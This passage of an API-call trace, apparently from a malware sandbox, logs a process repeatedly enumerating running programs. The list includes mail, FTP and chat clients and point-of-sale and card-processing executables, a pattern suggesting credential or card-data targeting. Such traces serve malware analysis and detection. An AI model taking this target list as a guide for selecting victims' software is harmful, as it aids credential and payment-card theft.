hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0123.565] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0123.568] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0123.570] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0123.573] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0123.576] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0123.578] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0123.581] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0123.584] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0123.590] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0123.593] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0123.596] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0123.599] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0123.602] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0123.604] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0123.607] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0123.614] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0123.617] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0123.621] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0123.624] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0123.627] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0123.631] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0123.634] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0123.638] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0123.642] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0123.645] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0123.647] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0123.649] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0123.651] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0123.654] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0123.656] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0123.658] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 0 [0123.660] CloseHandle (hObject=0x2044) returned 1 [0123.660] Sleep (dwMilliseconds=0x64) [0123.761] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2084 [0123.783] Process32First (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0123.785] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0123.787] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0123.790] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0123.792] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0123.795] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0123.799] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0123.802] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0123.804] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0123.806] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.809] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.812] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0123.814] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.816] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.819] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.821] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.824] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.902] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.905] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.908] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0123.910] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0123.913] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0123.916] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.919] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0123.921] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0123.924] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0123.926] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0123.929] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0123.931] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0123.934] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0123.936] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.938] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0123.941] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0123.943] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0123.946] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0123.948] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.951] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0123.953] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0123.956] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0123.960] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0123.964] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0123.967] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0123.970] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0123.972] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0123.975] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0123.988] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0123.991] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0123.993] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0123.995] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0123.998] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0124.000] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0124.002] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, 